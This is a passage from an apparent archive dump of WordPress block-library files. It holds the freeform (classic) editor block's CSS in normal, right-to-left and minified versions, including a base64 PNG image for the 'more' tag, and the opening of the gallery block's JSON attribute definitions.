1em .5em 0; } .wp-block-freeform.block-library-rich-text__tinymce .aligncenter{ display:block; margin-left:auto; margin-right:auto; } .wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{ background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC); background-position:50%; background-repeat:no-repeat; background-size:1900px 20px; cursor:default; display:block; height:20px; margin:15px auto; outline:0; width:96%; } .wp-block-freeform.block-library-rich-text__tinymce img::selection{ background-color:transparent; } .wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{ -ms-user-select:element; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{ margin:0; max-width:100%; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{ display:block; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{ -webkit-user-drag:none; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{ margin:0; padding-top:.5em; } .wp-block-freeform.block-library-rich-text__tinymce .wpview{ border:1px solid transparent; clear:both; margin-bottom:16px; position:relative; width:99.99%; } .wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{ background:transparent; display:block; max-width:100%; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{ bottom:0; left:0; position:absolute; right:0; top:0; } .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{ display:none; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{ border:1px dashed #ddd; padding:10px; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{ word-wrap:break-word; border:1px solid #ddd; margin:0; padding:1em 0; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{ margin:0; text-align:center; } .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{ border-color:transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{ display:block; font-size:32px; height:32px; margin:0 auto; width:32px; } .wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{ clear:both; content:""; display:table; } .wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{ outline:none; } .wp-block-freeform.block-library-rich-text__tinymce .gallery a{ cursor:default; } .wp-block-freeform.block-library-rich-text__tinymce .gallery{ line-height:1; margin:auto -6px; overflow-x:hidden; padding:6px 0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{ box-sizing:border-box; float:left; margin:0; padding:6px; text-align:center; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{ margin:0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{ font-size:13px; margin:4px 0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{ width:100%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{ width:50%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{ width:33.3333333333%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{ width:25%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{ width:20%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{ width:16.6666666667%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{ width:14.2857142857%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{ width:12.5%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{ width:11.1111111111%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery img{ border:none; height:auto; max-width:100%; padding:0; } div[data-type="core/freeform"]:before{ border:1px solid #ddd; outline:1px solid transparent; transition:border-color .1s linear,box-shadow .1s linear; } @media (prefers-reduced-motion:reduce){ div[data-type="core/freeform"]:before{ transition-delay:0s; transition-duration:0s; } } div[data-type="core/freeform"].is-selected:before{ border-color:#1e1e1e; } div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{ margin-top:0; padding-top:0; } div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{ clear:both; content:""; display:table; } .mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{ color:#1e1e1e; } .mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{ margin-left:8px; margin-right:0; } .mce-toolbar-grp .mce-btn i{ font-style:normal; } .block-library-classic__toolbar{ border:1px solid #ddd; border-bottom:none; border-radius:2px; display:none; margin:0 0 8px; padding:0; position:sticky; top:0; width:auto; z-index:31; } div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{ border-color:#1e1e1e; display:block; } .block-library-classic__toolbar .mce-tinymce{ box-shadow:none; } @media (min-width:600px){ .block-library-classic__toolbar{ padding:0; } } .block-library-classic__toolbar:empty{ background:#f5f5f5; border-bottom:1px solid #e2e4e7; display:block; } .block-library-classic__toolbar:empty:before{ color:#555d66; content:attr(data-placeholder); font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; line-height:37px; padding:14px; } .block-library-classic__toolbar div.mce-toolbar-grp{ border-bottom:1px solid #1e1e1e; } .block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{ height:auto !important; width:100% !important; } .block-library-classic__toolbar .mce-container-body.mce-abs-layout{ overflow:visible; } .block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{ position:static; } .block-library-classic__toolbar .mce-toolbar-grp>div{ padding:1px 3px; } .block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){ display:none; } .block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{ display:block; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{ height:50vh !important; } @media (min-width:960px){ .block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){ height:9999rem; } .block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{ height:100%; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{ height:calc(100% - 52px); } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{ display:flex; flex-direction:column; height:100%; min-width:50vw; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{ display:flex; flex-direction:column; flex-grow:1; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{ flex-grow:1; height:10px !important; } } .block-editor-freeform-modal__actions{ margin-top:16px; }blocks/freeform/editor-rtl.css000064400000025043151202620300012420 0ustar00.wp-block-freeform.block-library-rich-text__tinymce{ height:auto; } .wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{ line-height:1.8; } .wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{ margin-right:0; padding-right:2.5em; } .wp-block-freeform.block-library-rich-text__tinymce blockquote{ border-right:4px solid #000; box-shadow:inset 0 0 0 0 #ddd; margin:0; padding-right:1em; } .wp-block-freeform.block-library-rich-text__tinymce pre{ color:#1e1e1e; font-family:Menlo,Consolas,monaco,monospace; font-size:15px; white-space:pre-wrap; } .wp-block-freeform.block-library-rich-text__tinymce>:first-child{ margin-top:0; } .wp-block-freeform.block-library-rich-text__tinymce>:last-child{ margin-bottom:0; } .wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{ outline:none; } .wp-block-freeform.block-library-rich-text__tinymce a{ color:var(--wp-admin-theme-color); } .wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{ background:#e5f5fa; border-radius:2px; box-shadow:0 0 0 1px #e5f5fa; margin:0 -2px; padding:0 2px; } .wp-block-freeform.block-library-rich-text__tinymce code{ background:#f0f0f0; border-radius:2px; color:#1e1e1e; font-family:Menlo,Consolas,monaco,monospace; font-size:14px; padding:2px; } .wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{ background:#ddd; } .wp-block-freeform.block-library-rich-text__tinymce .alignright{ float:right; margin:.5em 0 .5em 1em; } .wp-block-freeform.block-library-rich-text__tinymce .alignleft{ float:left; margin:.5em 1em .5em 0; } .wp-block-freeform.block-library-rich-text__tinymce .aligncenter{ display:block; margin-left:auto; margin-right:auto; } .wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{ background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC); background-position:50%; background-repeat:no-repeat; background-size:1900px 20px; cursor:default; display:block; height:20px; margin:15px auto; outline:0; width:96%; } .wp-block-freeform.block-library-rich-text__tinymce img::selection{ background-color:transparent; } .wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{ -ms-user-select:element; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{ margin:0; max-width:100%; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{ display:block; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{ -webkit-user-drag:none; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{ margin:0; padding-top:.5em; } .wp-block-freeform.block-library-rich-text__tinymce .wpview{ border:1px solid transparent; clear:both; margin-bottom:16px; position:relative; width:99.99%; } .wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{ background:transparent; display:block; max-width:100%; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{ bottom:0; left:0; position:absolute; right:0; top:0; } .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{ display:none; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{ border:1px dashed #ddd; padding:10px; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{ word-wrap:break-word; border:1px solid #ddd; margin:0; padding:1em 0; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{ margin:0; text-align:center; } .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{ border-color:transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{ display:block; font-size:32px; height:32px; margin:0 auto; width:32px; } .wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{ clear:both; content:""; display:table; } .wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{ outline:none; } .wp-block-freeform.block-library-rich-text__tinymce .gallery a{ cursor:default; } .wp-block-freeform.block-library-rich-text__tinymce .gallery{ line-height:1; margin:auto -6px; overflow-x:hidden; padding:6px 0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{ box-sizing:border-box; float:right; margin:0; padding:6px; text-align:center; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{ margin:0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{ font-size:13px; margin:4px 0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{ width:100%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{ width:50%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{ width:33.3333333333%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{ width:25%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{ width:20%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{ width:16.6666666667%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{ width:14.2857142857%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{ width:12.5%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{ width:11.1111111111%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery img{ border:none; height:auto; max-width:100%; padding:0; } div[data-type="core/freeform"]:before{ border:1px solid #ddd; outline:1px solid transparent; transition:border-color .1s linear,box-shadow .1s linear; } @media (prefers-reduced-motion:reduce){ div[data-type="core/freeform"]:before{ transition-delay:0s; transition-duration:0s; } } div[data-type="core/freeform"].is-selected:before{ border-color:#1e1e1e; } div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{ margin-top:0; padding-top:0; } div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{ clear:both; content:""; display:table; } .mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{ color:#1e1e1e; } .mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{ margin-left:0; margin-right:8px; } .mce-toolbar-grp .mce-btn i{ font-style:normal; } .block-library-classic__toolbar{ border:1px solid #ddd; border-bottom:none; border-radius:2px; display:none; margin:0 0 8px; padding:0; position:sticky; top:0; width:auto; z-index:31; } div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{ border-color:#1e1e1e; display:block; } .block-library-classic__toolbar .mce-tinymce{ box-shadow:none; } @media (min-width:600px){ .block-library-classic__toolbar{ padding:0; } } .block-library-classic__toolbar:empty{ background:#f5f5f5; border-bottom:1px solid #e2e4e7; display:block; } .block-library-classic__toolbar:empty:before{ color:#555d66; content:attr(data-placeholder); font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; line-height:37px; padding:14px; } .block-library-classic__toolbar div.mce-toolbar-grp{ border-bottom:1px solid #1e1e1e; } .block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{ height:auto !important; width:100% !important; } .block-library-classic__toolbar .mce-container-body.mce-abs-layout{ overflow:visible; } .block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{ position:static; } .block-library-classic__toolbar .mce-toolbar-grp>div{ padding:1px 3px; } .block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){ display:none; } .block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{ display:block; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{ height:50vh !important; } @media (min-width:960px){ .block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){ height:9999rem; } .block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{ height:100%; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{ height:calc(100% - 52px); } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{ display:flex; flex-direction:column; height:100%; min-width:50vw; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{ display:flex; flex-direction:column; flex-grow:1; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{ flex-grow:1; height:10px !important; } } .block-editor-freeform-modal__actions{ margin-top:16px; }blocks/freeform/editor-rtl.min.css000064400000023360151202620300013202 0ustar00.wp-block-freeform.block-library-rich-text__tinymce{height:auto}.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{line-height:1.8}.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{margin-right:0;padding-right:2.5em}.wp-block-freeform.block-library-rich-text__tinymce blockquote{border-right:4px solid #000;box-shadow:inset 0 0 0 0 #ddd;margin:0;padding-right:1em}.wp-block-freeform.block-library-rich-text__tinymce pre{color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;white-space:pre-wrap}.wp-block-freeform.block-library-rich-text__tinymce>:first-child{margin-top:0}.wp-block-freeform.block-library-rich-text__tinymce>:last-child{margin-bottom:0}.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce a{color:var(--wp-admin-theme-color)}.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{background:#e5f5fa;border-radius:2px;box-shadow:0 0 0 1px #e5f5fa;margin:0 -2px;padding:0 2px}.wp-block-freeform.block-library-rich-text__tinymce code{background:#f0f0f0;border-radius:2px;color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:14px;padding:2px}.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{background:#ddd}.wp-block-freeform.block-library-rich-text__tinymce .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-freeform.block-library-rich-text__tinymce .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);background-position:50%;background-repeat:no-repeat;background-size:1900px 20px;cursor:default;display:block;height:20px;margin:15px auto;outline:0;width:96%}.wp-block-freeform.block-library-rich-text__tinymce img::selection{background-color:transparent}.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{-ms-user-select:element}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{margin:0;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{display:block}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{-webkit-user-drag:none}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{margin:0;padding-top:.5em}.wp-block-freeform.block-library-rich-text__tinymce .wpview{border:1px solid transparent;clear:both;margin-bottom:16px;position:relative;width:99.99%}.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{background:transparent;display:block;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{display:none}.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{border:1px dashed #ddd;padding:10px}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{word-wrap:break-word;border:1px solid #ddd;margin:0;padding:1em 0}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{margin:0;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{border-color:transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{display:block;font-size:32px;height:32px;margin:0 auto;width:32px}.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{clear:both;content:"";display:table}.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce .gallery a{cursor:default}.wp-block-freeform.block-library-rich-text__tinymce .gallery{line-height:1;margin:auto -6px;overflow-x:hidden;padding:6px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{box-sizing:border-box;float:right;margin:0;padding:6px;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{margin:0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{font-size:13px;margin:4px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{width:100%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{width:50%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{width:33.3333333333%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{width:25%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{width:20%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{width:16.6666666667%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{width:14.2857142857%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{width:12.5%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{width:11.1111111111%}.wp-block-freeform.block-library-rich-text__tinymce .gallery img{border:none;height:auto;max-width:100%;padding:0}div[data-type="core/freeform"]:before{border:1px solid #ddd;outline:1px solid transparent;transition:border-color .1s linear,box-shadow .1s linear}@media (prefers-reduced-motion:reduce){div[data-type="core/freeform"]:before{transition-delay:0s;transition-duration:0s}}div[data-type="core/freeform"].is-selected:before{border-color:#1e1e1e}div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{margin-top:0;padding-top:0}div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{clear:both;content:"";display:table}.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{color:#1e1e1e}.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{margin-left:0;margin-right:8px}.mce-toolbar-grp .mce-btn i{font-style:normal}.block-library-classic__toolbar{border:1px solid #ddd;border-bottom:none;border-radius:2px;display:none;margin:0 0 8px;padding:0;position:sticky;top:0;width:auto;z-index:31}div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{border-color:#1e1e1e;display:block}.block-library-classic__toolbar .mce-tinymce{box-shadow:none}@media (min-width:600px){.block-library-classic__toolbar{padding:0}}.block-library-classic__toolbar:empty{background:#f5f5f5;border-bottom:1px solid #e2e4e7;display:block}.block-library-classic__toolbar:empty:before{color:#555d66;content:attr(data-placeholder);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:37px;padding:14px}.block-library-classic__toolbar div.mce-toolbar-grp{border-bottom:1px solid #1e1e1e}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{height:auto!important;width:100%!important}.block-library-classic__toolbar .mce-container-body.mce-abs-layout{overflow:visible}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{position:static}.block-library-classic__toolbar .mce-toolbar-grp>div{padding:1px 3px}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{height:50vh!important}@media (min-width:960px){.block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){height:9999rem}.block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{height:100%}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{height:calc(100% - 52px)}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{display:flex;flex-direction:column;height:100%;min-width:50vw}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{display:flex;flex-direction:column;flex-grow:1}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{flex-grow:1;height:10px!important}}.block-editor-freeform-modal__actions{margin-top:16px}blocks/gallery/block.json000064400000003011151202620300011427 0ustar00{ "apiVersion": 2, "name": "core/gallery", "category": "media", "attributes": { "images": { "type": "array", "default": [], "source": "query", "selector": ".blocks-gallery-item", "query": { "url": { "type": "string", "source": "attribute", "selector": "img", "attribute": "src" }, "fullUrl": { "type": "string", "source": "attribute", "selector": "img", "attribute": "data-full-url" }, "link": { "type": "string", "source": "attribute", "selector": "img", "attribute": "data-link" }, "alt": { "type": "string", "source": "attribute", "selector": "img", "attribute": "alt", "default": "" }, "id": { "type": "string", "source": "attribute", "selector": "img", "attribute": "data-id" }, "caption": { "type": "string", "source": "html", "selector": ".blocks-gallery-item__caption" } } }, "ids": { "type": "array", "items": { "type": "number" }, "default": [] }, "columns": { "type": "number", "minimum": 1, "maximum": 8 }, "caption": { "type": "string", "source": "html", "selector": ".blocks-gallery-caption" }, 